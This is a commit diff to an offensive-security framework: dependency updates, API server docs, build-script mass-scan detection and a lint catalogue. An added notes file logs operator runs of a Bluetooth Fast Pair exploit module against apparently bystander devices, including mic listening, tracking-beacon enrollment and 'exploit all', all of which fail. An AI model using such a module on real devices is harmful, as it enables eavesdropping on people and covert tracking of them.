mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
update and other bug fixes check changelog
This commit is contained in:
+18
-13
@@ -18,6 +18,7 @@ rustyline = "18.0"
|
||||
# CLI & Async runtime
|
||||
clap = { version = "4.6", features = ["derive"] }
|
||||
tokio = { version = "1.51", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
|
||||
tokio-util = { version = "0.7", default-features = false }
|
||||
|
||||
# HTTP & Web
|
||||
reqwest = { version = "0.13", default-features = false, features = ["json", "cookies", "socks", "multipart", "form", "stream", "rustls-no-provider", "charset", "http2"] }
|
||||
@@ -31,8 +32,8 @@ data-encoding = "2.10"
|
||||
semver = "1.0"
|
||||
|
||||
# Crypto & Encoding
|
||||
aes = "0.8"
|
||||
cipher = "0.4"
|
||||
aes = "0.9"
|
||||
cipher = "0.5"
|
||||
md5 = "0.8"
|
||||
flate2 = "1.1"
|
||||
base64 = "0.22"
|
||||
@@ -90,8 +91,8 @@ tower-http = { version = "0.6", features = ["cors", "trace", "limit"] }
|
||||
uuid = { version = "1.23", features = ["v4", "serde"] }
|
||||
|
||||
# DNS
|
||||
hickory-client = { version = "0.25" }
|
||||
hickory-proto = "0.25"
|
||||
hickory-client = { version = "0.26.0-alpha.1" }
|
||||
hickory-proto = "0.26.0-alpha.1"
|
||||
|
||||
# Logging
|
||||
tracing = "0.1"
|
||||
@@ -101,9 +102,9 @@ tracing-subscriber = { version = "0.3", features = ["env-filter"] }
|
||||
once_cell = "1.21"
|
||||
home = "0.5" # updated for edition 2024 compatibility
|
||||
pnet = "0.35"
|
||||
des = { version = "0.8.1", features = ["zeroize"] }
|
||||
des = { version = "0.9", features = ["zeroize"] }
|
||||
zeroize = { version = "1", features = ["derive"] }
|
||||
sha1 = "0.10"
|
||||
sha1 = "0.11"
|
||||
strsim = "0.11"
|
||||
ssh2 = "0.9.5"
|
||||
num_cpus = "1.17.0"
|
||||
@@ -111,16 +112,20 @@ num_cpus = "1.17.0"
|
||||
|
||||
# Constant-time comparison for security (timing attack prevention)
|
||||
subtle = "2.6"
|
||||
aes-gcm = "0.10.3"
|
||||
aes-gcm = "0.11.0-rc.3"
|
||||
|
||||
# Passphrase KDF for host key encryption at rest
|
||||
argon2 = "0.5"
|
||||
|
||||
# Post-Quantum Encryption (PQXDH: X25519 + ML-KEM-768 hybrid, ChaCha20-Poly1305 AEAD)
|
||||
ml-kem = "0.2.3"
|
||||
kem = "=0.3.0-pre.0"
|
||||
ml-kem = "0.3.0-rc.2"
|
||||
kem = "0.3"
|
||||
rand_core = { version = "0.6", features = ["getrandom"] }
|
||||
x25519-dalek = { version = "2.0", features = ["static_secrets"] }
|
||||
chacha20poly1305 = "0.10"
|
||||
hkdf = "0.12"
|
||||
sha2 = "0.10"
|
||||
x25519-dalek = { version = "2.0", features = ["static_secrets", "zeroize"] }
|
||||
chacha20poly1305 = "0.11.0-rc.3"
|
||||
hkdf = "0.13"
|
||||
sha2 = "0.11"
|
||||
p256 = { version = "0.13", features = ["ecdh"] }
|
||||
hex = "0.4"
|
||||
|
||||
[build-dependencies]
|
||||
|
||||
@@ -22,6 +22,8 @@ Full documentation lives in the **[Rustsploit Wiki](docs/Home.md)**. Below is a
|
||||
| [API Usage Examples](docs/API-Usage-Examples.md) | Practical curl workflows, request/response samples |
|
||||
| [Module Catalog](docs/Module-Catalog.md) | All modules by category — exploits, scanners, creds |
|
||||
| [Module Development](docs/Module-Development.md) | How to author new modules, lifecycle, dispatcher |
|
||||
| [Bad Patterns Catalogue](docs/BAD_PATTERNS.md) | 133-regex `grep` matrix every module must pass — banned `.unwrap`, swallow, panic, blocking-IO, lossy casts, crypto, injection, etc. Re-runnable via `scripts/audit-bad-patterns.sh` |
|
||||
| [Bad Patterns Audit Report](docs/audit-report.md) | Latest whole-tree snapshot — strict-mode result on the 100 authored modules (zero hits) and observational counts on the rest of the framework |
|
||||
| [Security & Validation](docs/Security-Validation.md) | Input validation, security patterns, honeypot detection |
|
||||
| [Credential Modules Guide](docs/Credential-Modules-Guide.md) | Best practices for brute-force / cred modules |
|
||||
| [Exploit Modules Guide](docs/Exploit-Modules-Guide.md) | Best practices for exploit modules |
|
||||
@@ -110,6 +112,54 @@ For other distros (Arch, Gentoo, Fedora), Docker deployment, and one-liner insta
|
||||
|
||||
---
|
||||
|
||||
## API server quick start
|
||||
|
||||
The PQ-encrypted API is what external integrations and web panels talk to.
|
||||
Bind it to whichever interface you want — the bootstrap path is gated by a
|
||||
one-time enrollment token printed at startup, **not** by the bind address.
|
||||
|
||||
```bash
|
||||
# Local-only (default, useful for development)
|
||||
cargo run --release -- --api
|
||||
|
||||
# Reachable on a LAN
|
||||
cargo run --release -- --api --interface 192.0.2.10:8080
|
||||
|
||||
# Reachable from anywhere (bind to all interfaces)
|
||||
cargo run --release -- --api --interface 0.0.0.0:8080
|
||||
```
|
||||
|
||||
On startup the server prints something like:
|
||||
|
||||
```
|
||||
═══════════════════════════════════════════════════════════════
|
||||
ENROLLMENT TOKEN (one-time, prints once): tWQ9sIz3kZGdHc4w7g8hPxJrAaPN1c0v
|
||||
Bootstrap a client by POSTing its PQ public keys + this
|
||||
token to POST /pq/register-key:
|
||||
{ token, name, x25519_pub, mlkem_ek }
|
||||
After first successful registration the token is consumed; further
|
||||
key changes must go through the established PQ session.
|
||||
═══════════════════════════════════════════════════════════════
|
||||
```
|
||||
|
||||
Hand that token to whichever client you want to enroll. The client POSTs
|
||||
its X25519 + ML-KEM-768 public keys to `/pq/register-key` over the
|
||||
network — no shared filesystem required, client and server can be on
|
||||
different hosts. The token is consumed on first use; restart the server
|
||||
to issue a new one.
|
||||
|
||||
Endpoints exposed by `--api`:
|
||||
|
||||
| Path | Auth | Purpose |
|
||||
|------|------|---------|
|
||||
| `GET /health` | none | Liveness |
|
||||
| `POST /pq/handshake` | identity allowlist | PQXDH session establishment |
|
||||
| `POST /pq/register-key` | enrollment token (one-time) | Bootstrap a new client identity |
|
||||
| `GET /pq/ws` | PQ session | Bi-directional event/RPC channel |
|
||||
| `ALL /api/*` | PQ session | REST surface (auto-generated from JSON-RPC dispatcher) |
|
||||
|
||||
---
|
||||
|
||||
## Private Internet Recommendations
|
||||
|
||||
The built-in proxy system has been removed in favor of system-level VPN solutions. We recommend **[Mullvad VPN](https://mullvad.net)** for its no-registration, audited no-logs policy, WireGuard support, and excellent Linux CLI. Simply connect your VPN before running the tool — all traffic routes through the tunnel.
|
||||
|
||||
@@ -0,0 +1,109 @@
|
||||
scan
|
||||
[!] Scan error: Failed
|
||||
vluetootth was off and does not let user know
|
||||
|
||||
|
||||
wpair [33dev sel:22 audio:idle]> target CC:4D:40:86:0B:8C
|
||||
Already in scan results — selected [2] Galaxy Buds3 Pro (F671) LE (CC:4D:40:86:0B:8C)
|
||||
wpair [33dev sel:2 audio:idle]> listen
|
||||
🎧 Listening — BT mic → speaker...
|
||||
wpair [33dev sel:2 audio:listen]> record
|
||||
Audio stopped.
|
||||
wpair [33dev sel:2 audio:idle]> fmdn
|
||||
FMDN enrollment: CC:4D:40:86:0B:8C...
|
||||
FMDN — Enrolling device into Find Hub Network...
|
||||
⚠ This converts the device into a persistent tracking beacon
|
||||
[!] FMDN error: Connect failed after 3 attempts: Method "Connect" with signature "" on interface "org.bluez.Device1" doesn't exist
|
||||
(BlueZ Device1 not ready — adapter likely needs a fresh scan, see `scan` then `target`)
|
||||
|
||||
|
||||
|
||||
these dont work
|
||||
|
||||
|
||||
*] 43 global option(s) loaded (use 'show options' to view)
|
||||
rsf> use exploits/bluetooth/wpair
|
||||
Module 'exploits/bluetooth/wpair' selected.
|
||||
rsf> run
|
||||
[!] Warning: No target set.
|
||||
Do you want to provide a target address? (y/n) [y]: y
|
||||
Enter target []: 127.0.0.1
|
||||
[*] Target set to '127.0.0.1'
|
||||
Running module 'exploits/bluetooth/wpair' against target '127.0.0.1'
|
||||
Action (scan/scan-all/scan-json/test/test-json/exploit/exploit-json/aoe/aoe-json/audit/audit-json/pair, blank=interactive) []:
|
||||
⚡ WPair CVE-2025-36911 — Fast Pair REPL
|
||||
Type `help` for commands, `scan` to discover, `quit` to exit.
|
||||
|
||||
wpair [0dev sel:- audio:idle]> target E0:61:7B:F6:ED:E2
|
||||
AoE scan to bring in target E0:61:7B:F6:ED:E2 (15s)...
|
||||
AoE scan complete — 42 device(s) found
|
||||
Selected [41] Buds3 Pro (E0:61:7B:F6:ED:E2)
|
||||
wpair [42dev sel:41 audio:idle]> exploit
|
||||
|
||||
|
||||
wpair [40dev sel:18 audio:idle]> scanall
|
||||
AoE scan complete — 34 device(s) found
|
||||
|
||||
# Name Address RSSI Model Flags Status
|
||||
----------------------------------------------------------------------------------
|
||||
0 39-03-E1-D1-5B-99 (now) 39:03:E1:D1:5B:99 ▂___ — — NOT TESTED
|
||||
1 07-05-75-05-CD-11 (now) 07:05:75:05:CD:11 ▂▄__ — — NOT TESTED
|
||||
2 15-B5-8C-7F-CA-19 (now) 15:B5:8C:7F:CA:19 ▂___ 04B3B9 — NOT TESTED
|
||||
3 34-1F-94-7B-FB-2C (now) 34:1F:94:7B:FB:2C ▂▄__ 04F1A0 — NOT TESTED
|
||||
4 44-51-D2-91-2E-0B (now) 44:51:D2:91:2E:0B ▂___ 004047 — NOT TESTED
|
||||
5 4A-38-06-33-39-56 (now) 4A:38:06:33:39:56 ____ — — NOT TESTED
|
||||
6 2D-B2-1E-A6-3B-55 (now) 2D:B2:1E:A6:3B:55 ▂___ — — NOT TESTED
|
||||
7 [TV] Living room TV (now) FC:03:9F:28:2B:97 ____ — — NOT TESTED
|
||||
8 75-A3-EA-3B-56-AF (now) 75:A3:EA:3B:56:AF ▂▄__ — — NOT TESTED
|
||||
9 [Samsung] Soundbar J-S (now) 38:01:95:11:BD:68 ____ — — NOT TESTED
|
||||
10 18-F5-02-77-5D-DD (now) 18:F5:02:77:5D:DD ▂___ — — NOT TESTED
|
||||
*11 2F-F5-71-73-F7-DD (now) 2F:F5:71:73:F7:DD ▂▄__ — AK STEADY-STATE
|
||||
12 22-62-63-50-EE-07 (now) 22:62:63:50:EE:07 ____ — — NOT TESTED
|
||||
13 1E-2E-8E-07-FA-A4 (now) 1E:2E:8E:07:FA:A4 ____ — — NOT TESTED
|
||||
14 0E-6F-32-B5-BC-48 (now) 0E:6F:32:B5:BC:48 ▂▄__ — AK STEADY-STATE
|
||||
15 FA-10-25-E2-28-9F (now) FA:10:25:E2:28:9F ▂▄__ — — NOT TESTED
|
||||
16 Ike's Buds3 Pro (now) 77:45:CE:50:68:EB ▂___ 006F00 AK STEADY-STATE
|
||||
17 52-E7-11-D9-49-84 (now) 52:E7:11:D9:49:84 ▂▄__ — — NOT TESTED
|
||||
18 27-ED-3E-28-4A-9E (now) 27:ED:3E:28:4A:9E ▂▄__ — — NOT TESTED
|
||||
19 25-22-6E-78-24-06 (now) 25:22:6E:78:24:06 ▂▄__ — — NOT TESTED
|
||||
20 03-E9-88-8B-83-14 (now) 03:E9:88:8B:83:14 ____ — — NOT TESTED
|
||||
21 00-00-00-00-00-00 (now) 00:00:00:00:00:00 ▂___ — — NOT TESTED
|
||||
22 4F-2D-D0-F2-BA-30 (now) 4F:2D:D0:F2:BA:30 ____ — — NOT TESTED
|
||||
23 3A-8D-20-74-E9-C6 (now) 3A:8D:20:74:E9:C6 ▂▄__ — — NOT TESTED
|
||||
24 EE-F2-F4-4C-D6-EC (now) EE:F2:F4:4C:D6:EC ▂___ — — NOT TESTED
|
||||
25 17-D4-3C-08-5D-47 (now) 17:D4:3C:08:5D:47 ____ — — NOT TESTED
|
||||
26 3B-75-FE-DB-53-D2 (now) 3B:75:FE:DB:53:D2 ▂▄__ — — NOT TESTED
|
||||
27 4F-3F-5B-AE-74-50 (now) 4F:3F:5B:AE:74:50 ▂▄__ — — NOT TESTED
|
||||
28 08-06-18-76-75-13 (now) 08:06:18:76:75:13 ▂▄__ — — NOT TESTED
|
||||
29 64-FE-AA-A5-DC-F4 (now) 64:FE:AA:A5:DC:F4 ____ — — NOT TESTED
|
||||
30 33-64-0B-B2-61-A5 (now) 33:64:0B:B2:61:A5 ____ 0469C6 — NOT TESTED
|
||||
31 C4-FC-22-18-AC-4B (now) C4:FC:22:18:AC:4B ____ — — NOT TESTED
|
||||
32 57-9F-74-5B-04-FB (now) 57:9F:74:5B:04:FB ____ — — NOT TESTED
|
||||
33 Ike's Buds3 Pro (now) A0:B0:BD:8C:B0:1C ____ — — NOT TESTED
|
||||
|
||||
wpair [34dev sel:11 audio:idle]> pair
|
||||
Pairing 2F-F5-71-73-F7-DD (2F:F5:71:73:F7:DD)...
|
||||
Pair failed: Attempting to pair with 2F:F5:71:73:F7:DD
|
||||
[CHG] Device 4F:3F:5B:AE:74:50 RSSI: 0xffffffc2 (-62)
|
||||
[CHG] Device 4F:3F:5B:AE:74:50 ManufacturerData.Key: 0x004c (76)
|
||||
[CHG] Device 4F:3F:5B:AE:74:50 ManufacturerData.Value:
|
||||
10 06 39 1e 6e 86 15 28 ..9.n..(
|
||||
[CHG] Device 4A:38:06:33:39:56 RSSI: 0xffffffa6 (-90)
|
||||
[CHG] Device 4A:38:06:33:39:56 ManufacturerData.Key: 0x0075 (117)
|
||||
[CHG] Device 4A:38:06:33:39:56 ManufacturerData.Value:
|
||||
bc c6 1d d3 c2 74 1d 52 a5 53 72 63 87 .....t.R.Src.
|
||||
Failed to pair: org.bluez.Error.InProgress
|
||||
|
||||
|
||||
|
||||
wpair [40dev sel:8 audio:idle]> exploit all
|
||||
Exploiting 2F-F5-71-73-F7-DD (2F:F5:71:73:F7:DD)...
|
||||
Connecting (attempt 1/3)...
|
||||
Connection timed out (15000ms)
|
||||
Retrying in 1000ms...
|
||||
Connecting (attempt 2/3)...
|
||||
Connect failed: In Progress
|
||||
Retrying in 2000ms...
|
||||
Connecting (attempt 3/3)...
|
||||
Connect failed: In Progress
|
||||
[!] Exploit error: Failed to connect after 3 attempts
|
||||
@@ -153,6 +153,12 @@ fn capitalize(s: &str) -> String {
|
||||
struct ModuleCapabilities {
|
||||
has_info: bool,
|
||||
has_check: bool,
|
||||
/// Module's `run()` recognises mass-scan targets (`0.0.0.0`, `random`, etc.)
|
||||
/// and runs its own optimised loop. Detected by source-grep for
|
||||
/// `is_mass_scan_target(`, `run_mass_scan(`, or `MassScanConfig {` —
|
||||
/// modules without these markers fall back to the framework's per-IP
|
||||
/// dispatch loop in `commands::mod::dispatch_single_target`.
|
||||
has_mass_scan: bool,
|
||||
}
|
||||
|
||||
fn generate_dispatch(
|
||||
@@ -342,6 +348,30 @@ fn generate_dispatch(
|
||||
}
|
||||
}
|
||||
|
||||
writeln!(file, " _ => false,")?;
|
||||
writeln!(file, " }}\n}}\n")?;
|
||||
|
||||
// === Mass-scan capability (does the module's run() handle "0.0.0.0" itself?) ===
|
||||
writeln!(file, "/// True when the module's `run()` recognises mass-scan targets")?;
|
||||
writeln!(file, "/// (`0.0.0.0`, `random`, etc.) and runs its own loop. Used by the")?;
|
||||
writeln!(file, "/// command dispatcher to decide whether to call the module once with")?;
|
||||
writeln!(file, "/// the original mass-scan target, or fall back to the framework's")?;
|
||||
writeln!(file, "/// per-IP dispatch loop.")?;
|
||||
writeln!(file, "pub fn mass_scan_capable(module_name: &str) -> bool {{")?;
|
||||
writeln!(file, " match module_name {{")?;
|
||||
|
||||
let mut ms_shorts: HashSet<String> = HashSet::new();
|
||||
for (key, _, caps) in &sorted_mappings {
|
||||
if !caps.has_mass_scan { continue; }
|
||||
let short_key = key.rsplit('/').next().unwrap_or(key);
|
||||
if short_key == *key {
|
||||
writeln!(file, r#" "{k}" => true,"#, k = key)?;
|
||||
} else if ms_shorts.insert(short_key.to_string()) {
|
||||
writeln!(file, r#" "{short}" | "{full}" => true,"#, short = short_key, full = key)?;
|
||||
} else {
|
||||
writeln!(file, r#" "{full}" => true,"#, full = key)?;
|
||||
}
|
||||
}
|
||||
writeln!(file, " _ => false,")?;
|
||||
writeln!(file, " }}\n}}")?;
|
||||
|
||||
@@ -443,6 +473,21 @@ fn generate_registry(entries: &[RegistryEntry]) -> Result<(), Box<dyn std::error
|
||||
}
|
||||
writeln!(f, " _ => false,")?;
|
||||
writeln!(f, " }}")?;
|
||||
writeln!(f, "}}\n")?;
|
||||
|
||||
// Mass-scan capability lookup
|
||||
writeln!(f, "/// True if the module's `run()` handles mass-scan targets itself.")?;
|
||||
writeln!(f, "pub fn mass_scan_capable_by_category(category: &str, module_name: &str) -> bool {{")?;
|
||||
writeln!(f, " match category {{")?;
|
||||
for e in entries {
|
||||
writeln!(
|
||||
f,
|
||||
" \"{}\" => crate::commands::{}::mass_scan_capable(module_name),",
|
||||
e.category, e.dispatch_name
|
||||
)?;
|
||||
}
|
||||
writeln!(f, " _ => false,")?;
|
||||
writeln!(f, " }}")?;
|
||||
writeln!(f, "}}")?;
|
||||
|
||||
Ok(())
|
||||
@@ -480,9 +525,13 @@ fn find_modules(
|
||||
if File::open(path).and_then(|mut f| f.read_to_string(&mut content)).is_ok() {
|
||||
if !content.contains("fn run") { continue; }
|
||||
if run_re.is_match(&content) {
|
||||
let has_mass_scan = content.contains("is_mass_scan_target(")
|
||||
|| content.contains("run_mass_scan(")
|
||||
|| content.contains("MassScanConfig {");
|
||||
let caps = ModuleCapabilities {
|
||||
has_info: content.contains("fn info") && info_re.is_match(&content),
|
||||
has_check: content.contains("fn check") && check_re.is_match(&content),
|
||||
has_mass_scan,
|
||||
};
|
||||
mappings.insert((rel_str.clone(), rel_str, caps));
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
+2
-2
@@ -42,8 +42,8 @@ Authentication uses SSH-style public/private key pairs with post-quantum cryptog
|
||||
### How it works
|
||||
|
||||
1. **Server** has a host key pair (ML-KEM-768 + X25519) stored at `~/.rustsploit/pq_host_key`
|
||||
2. **Client** has an identity key pair per tenant, stored encrypted in ArcticAlopex's database
|
||||
3. Client's public key must be listed in `~/.rustsploit/pq_authorized_keys`
|
||||
2. **Client** has its own identity key pair (ML-KEM-768 + X25519), persisted however the client sees fit (e.g. encrypted at rest in a database, in a keychain, or on disk)
|
||||
3. Client's public key must be listed in `~/.rustsploit/pq_authorized_keys` — populated via the one-time `POST /pq/register-key` flow at first contact, or by hand-editing the file
|
||||
4. On first connection, client and server perform a **mutual authentication handshake** at `POST /pq/handshake`
|
||||
5. Both sides prove key ownership via DH proof-of-possession
|
||||
6. Session keys are derived from 3 shared secrets: ephemeral X25519 DH + identity X25519 DH + ML-KEM-768
|
||||
|
||||
@@ -0,0 +1,398 @@
|
||||
# Bad-Pattern Catalogue
|
||||
|
||||
> Run `scripts/audit-bad-patterns.sh` to scan the whole tree, or
|
||||
> `scripts/audit-bad-patterns.sh --strict --files <list>` to gate a
|
||||
> module / PR. Latest snapshot: [`audit-report.md`](audit-report.md).
|
||||
|
||||
A complete checklist of patterns that must not appear in module code. Every
|
||||
entry has:
|
||||
|
||||
- **Pattern (regex)** — what `grep -E` finds
|
||||
- **Why it's bad** — what concretely goes wrong if it slips in
|
||||
- **Fix** — the explicit alternative
|
||||
|
||||
The full reproducer at the bottom runs every regex in one shot and reports a
|
||||
zero-line summary on a clean tree. CI / pre-merge review should treat any
|
||||
non-zero count as a hard failure.
|
||||
|
||||
> **Scope.** Module code under `src/modules/exploits/`, `src/modules/scanners/`,
|
||||
> `src/modules/creds/`, `src/modules/osint/`, `src/modules/plugins/`. The
|
||||
> framework's own DoS / payload-generation crates have legitimate `unsafe`
|
||||
> blocks and raw socket calls that this catalogue does not constrain.
|
||||
|
||||
---
|
||||
|
||||
## A. Panicking error handling — banned outright
|
||||
|
||||
| # | Pattern (regex) | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| A1 | `\.unwrap\(\)` | Panics on `Err`/`None`, takes the whole shell down. | Match explicitly or use `?` with `anyhow::Context`. |
|
||||
| A2 | `\.expect\(` | Same as `.unwrap()` plus a static message. | `with_context(\|\| format!("...{}...", info))`. |
|
||||
| A3 | `\.unwrap_or_default\(\)` | Silently turns `Err` into `T::default()` — body becomes `""`, status becomes `0`. Lies about what happened on the wire. | Match arms returning `CheckResult::Error(...)` or propagate via `?` with `Context`. |
|
||||
| A4 | `\.unwrap_or\b` | Even on `Option`, hides the None case behind a magic literal (`"?"`, `""`). Use a self-documenting fallback. | `match opt { Some(x) => x, None => "<documented missing case>" }`. |
|
||||
| A5 | `\.unwrap_or_else\(` | Same shape as A4 with a closure. | Match arms with explicit None handling. |
|
||||
| A6 | `\.parse\(\)\.unwrap`, `\.parse::<[^>]+>\(\)\.unwrap` | Parse failures panic. | `parse().with_context(\|\| format!("parse {} as {}", input, "u16"))?`. |
|
||||
| A7 | `\.try_into\(\)\.unwrap` | TryFrom failures panic. | `try_into().with_context(\|\| ...)?`. |
|
||||
| A8 | `\.first\(\)\.unwrap`, `\.last\(\)\.unwrap`, `\.next\(\)\.unwrap`, `\.iter\(\)…\.unwrap` | Iterator end-of-stream panics. | `match it.next() { Some(x) => x, None => return CheckResult::Error("...".into()) }`. |
|
||||
| A9 | `\.chars\(\)\.next\(\)\.unwrap`, `\.split\([^)]*\)\.next\(\)\.unwrap` | Empty-string panics. | Same as A8. |
|
||||
| A10 | `\.position\(.*\)\.unwrap`, `\.iter\(\)\.find\(.*\)\.unwrap` | Search-miss panics. | Match on `Option`. |
|
||||
| A11 | `\.read_to_string\(.*\)\.unwrap` | I/O failure panics. | `with_context(\|\| format!("read {}", path))?`. |
|
||||
| A12 | `\.lock\(\)\.unwrap` | Poison panics. | Use `tokio::sync::Mutex` (no poison) or match on the `PoisonError` and either reset or surface. |
|
||||
| A13 | `\.expect_err`, `\.unwrap_err` | Same panic shape, on the Err side. | Match the `Result` directly. |
|
||||
| A14 | `panic!\(`, `unreachable!\(`, `todo!\(`, `unimplemented!\(` | Unconditional crash. | Return `Result::Err` (or `CheckResult::Error`) with a descriptive message. |
|
||||
| A15 | `\bassert!\(`, `\bassert_eq!\(`, `\bassert_ne!\(` | Production panic on bad input. | Validate at the boundary and return `Err`. Reserve assertions for tests under `#[cfg(test)]`. |
|
||||
|
||||
## B. Silent error swallowing — banned outright
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| B1 | `Err\(_\)` (anonymous) | Drops the error value. Even on `tokio::time::error::Elapsed`, the `Display` impl ("deadline has elapsed") tells the operator *why* the call failed. | `Err(e) => mprintln!("{} timed out: {}", "[-]".red(), e)`. |
|
||||
| B2 | `Err\(_[a-zA-Z]\w*\)` (underscore-prefixed binding) | Same as B1 — the leading `_` is a "compiler shut up about unused" hack. | Bind without the underscore and `format!` it. |
|
||||
| B3 | `if let Err\(_` | Same as B1. | Capture the error. |
|
||||
| B4 | `if let Ok\(` (no `else`) | Drops `Err` silently — `check()` falls through to `NotVulnerable` even though the host was unreachable. | `match …` with explicit `Err(e) => CheckResult::Error(format!("{:#}", e))`. |
|
||||
| B5 | `let\s+_\s*=` | Discards a `Result`. The function "succeeded" because nothing checked. | `if let Err(e) = … { mprintln!(…) }` or `?`. |
|
||||
| B6 | `let\s+_[a-zA-Z]\w*\s*=.*\.await` | The `_<name>` prefix suppresses unused warnings on a side-effect call. The result is propagated via `?`, so the binding adds nothing. | Bare `func(...).await?;` (no `let`). |
|
||||
| B7 | `\.map_err\(\|_\|`, `\.or_else\(\|_\|` | Throws away the original error type. | Capture the error and wrap it: `.map_err(\|e\| anyhow!("...: {}", e))`. |
|
||||
| B8 | `\.to_str\(\)\.ok\(\)` | Header-value utf8 failure becomes `None` and then `""` via `.unwrap_or("")` — the swallow is invisible. | `crate::utils::header_string(headers, "name")` (returns `"<non-utf8>"` sentinel for non-utf8 — the swallow shows up). |
|
||||
| B9 | `\.json\([^)]*\)\.await\.ok\(\)`, `\.send\(\)\.await\.ok\(\)`, `\.text\(\)\.await\.ok\(\)` | Discards transport / decode errors. | `match …await { Ok(v) => …, Err(e) => mprintln!(…); return Ok(()); }` |
|
||||
|
||||
## C. Compiler-warning-suppression — banned outright
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| C1 | `#\[allow\(` | Hides real lints (`dead_code`, `unused_imports`, `clippy::*`). If the code is dead, delete it; if a warning is wrong, fix the *cause*. | Remove the attribute and address the underlying warning. |
|
||||
| C2 | `#\[deny\(` | Project-wide lint-policy belongs in `Cargo.toml` / `[lints]`, not per-module. | Move to crate root. |
|
||||
| C3 | `#\[ignore\b` | Skipped tests rot. | Delete the test or fix it. |
|
||||
|
||||
## D. Panic vectors — banned in modules
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| D1 | Direct array index `\b[a-zA-Z_]\w*\[[0-9]+\]` and `\b[a-zA-Z_]\w*\[[a-zA-Z_]\w*\]` | OOB panic. Even when the index "can't" be wrong, a future refactor can break the invariant. | `arr.get(i)` and match. For first byte: `slice.first()`. |
|
||||
| D2 | Direct slice range `\&[a-zA-Z_]\w*\[\.\.\w+\]` / `\&[a-zA-Z_]\w*\[\w+\.\.\]` / `\&[a-zA-Z_]\w*\[\w+\.\.\w+\]` | OOB panic. `tokio::AsyncRead::read` contractually returns `n <= buf.len()`, but the panic is still in your binary. | `buf.get(..n).context(…)?`. |
|
||||
| D3 | `\.split_at\(` | Panics if index > `len`. | `split_at_checked` (Rust 1.80+) or guard manually. |
|
||||
| D4 | `\.chars\(\)\.nth\(` | Off-by-one panics. | Use the `Option` it returns. |
|
||||
| D5 | `vec!\[…\]\[0\]` | Indexing a literal vec (rare, and almost always wrong). | Pattern-match. |
|
||||
|
||||
## E. Numeric conversions — explicit only
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| E1 | `\bas\s+(u\|i)(8\|16\|32\|64)\b`, `\bas\s+(u\|i)size\b` | Truncates silently. `as u16` of an `i64=70000` becomes `4464`. | `u16::try_from(x).with_context(\|\| ...)?`. For widening (`u16 -> i64`) use `i64::from(x)` — conversion is explicit and infallible. |
|
||||
| E2 | `\bas\s+(f32\|f64)\b` | Float conversion can round. | `f64::from(x)` for widenings; explicit rounding routine for narrowings. |
|
||||
| E3 | `\bas\s+\*const\b`, `\bas\s+\*mut\b` | Pointer cast — UB if mis-typed. | Banned. Use `&` / `&mut` references or `Box::into_raw` paths inside `unsafe` only. |
|
||||
| E4 | `\btransmute\(`, `\bextern\s+"C"`, `\bunsafe\s*\{`, `\bunsafe\s+fn\b` | Unsafe ops in modules are a layering violation; the framework concentrates `unsafe` in `src/native/`. | Refactor; if you really need it, put it under `src/native/` with the existing safety contract. |
|
||||
|
||||
## F. Async / blocking pitfalls — banned in modules
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| F1 | `std::thread::sleep` | Blocks the executor thread. | `tokio::time::sleep`. |
|
||||
| F2 | `std::process::Command` | Synchronous fork+exec. | `tokio::process::Command`. |
|
||||
| F3 | `std::fs::File`, `std::fs::read`, `std::fs::write` | Blocks the executor. | `tokio::fs::*`. |
|
||||
| F4 | `std::net::TcpStream`, `std::net::UdpSocket` | Blocking sockets. | `tokio::net::*`. |
|
||||
| F5 | `std::io::stdin\(\)` | Blocks. Modules also shouldn't read stdin directly — use `cfg_prompt_*`. | `cfg_prompt_*` from `crate::utils`. |
|
||||
| F6 | `\.lock\(\)` on `std::sync::Mutex` followed by `\.await` later in the scope | Deadlock risk; the lock is held across the await point. | `tokio::sync::Mutex` (lock guard releases at drop and the runtime can suspend safely). |
|
||||
| F7 | `tokio::spawn\(` without holding the `JoinHandle` | Fire-and-forget leak; errors and panics are swallowed. | Hold the handle and `.await` it, or `.abort_handle()` when intentional. |
|
||||
|
||||
## G. Logging & output — modules use the framework macros
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| G1 | `\beprintln!\(` (where the source is not `mprintln`/`meprintln`) | Bypasses the framework's spool (`docs/Interactive-Shell.md`). | `crate::meprintln!(...)` for stderr, `crate::mprintln!(...)` for stdout. |
|
||||
| G2 | `\bdbg!\(` | Debugging macro left in. | Delete. |
|
||||
| G3 | `format!\(.*"\{:\?\}".*\b[eE]rr\b` | Debug-format on errors loses the `Display` impl that gives a clean human message. | `format!("...: {}", err)` or `format!("...: {:#}", err)` for full chain. |
|
||||
| G4 | `\.context\("")\|\.context\("\?"\)` | Empty / unhelpful context — adds nothing to the error chain. | `with_context(\|\| format!("…{}…", info))`. |
|
||||
|
||||
## H. HTTP layer — go through the framework client
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| H1 | `reqwest::Client::new\(\)`, `reqwest::Client::builder\(\)` | Bypasses `crate::utils::build_http_client`, which sets timeout, TLS policy, redirect rules, source-port awareness, and the global cookie-store decision. | `crate::utils::build_http_client(Duration::from_secs(N))`. |
|
||||
| H2 | `\.send\(\)\.await\?` (no `Context`) | The error has no path / module attribution; debugging mass scans is hopeless. | `.send().await.with_context(\|\| format!("GET {} failed", url))?`. |
|
||||
| H3 | `\.text\(\)\.await\?` (no `Context`) | Same. | `.text().await.context("read body")?` or use `crate::utils::http_get_status_body`. |
|
||||
| H4 | `format!("{:?}", v).contains("HTTP/2")` (debug-string-compare on `reqwest::Version`) | Fragile, no compile-time check. | `v == reqwest::Version::HTTP_2`. |
|
||||
|
||||
## I. Iterator collect / Result glitches
|
||||
|
||||
| # | Pattern | Why bad | Fix |
|
||||
|---|---|---|---|
|
||||
| I1 | `\.collect::<Result<Vec<_>,\s*_>>\(\)\.unwrap` | Aggregated `Result` panics on first error. | `let xs = …collect::<Result<Vec<_>, _>>()?;`. |
